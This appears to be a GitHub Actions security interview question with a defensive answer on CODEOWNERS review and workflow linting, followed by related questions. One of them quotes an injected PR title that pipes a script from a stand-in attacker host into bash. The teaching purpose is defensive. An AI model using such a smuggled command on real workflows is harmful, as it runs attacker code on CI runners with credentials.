You want every PR that edits `.github/workflows/` to get security review automatically. How?
BeginnerScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Ownership and automated checks.
What I'd do →
- CODEOWNERS:
/.github/ @devopsshack/platform-security, plus "require review from Code Owners". - A workflow running
zizmorandactionlintonpaths: ['.github/**']that uploads SARIF to code scanning.
Why → Human review plus automated linting catches both design and pattern mistakes.
Interview tip → Workflow files are code with production credentials; treat them as such.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner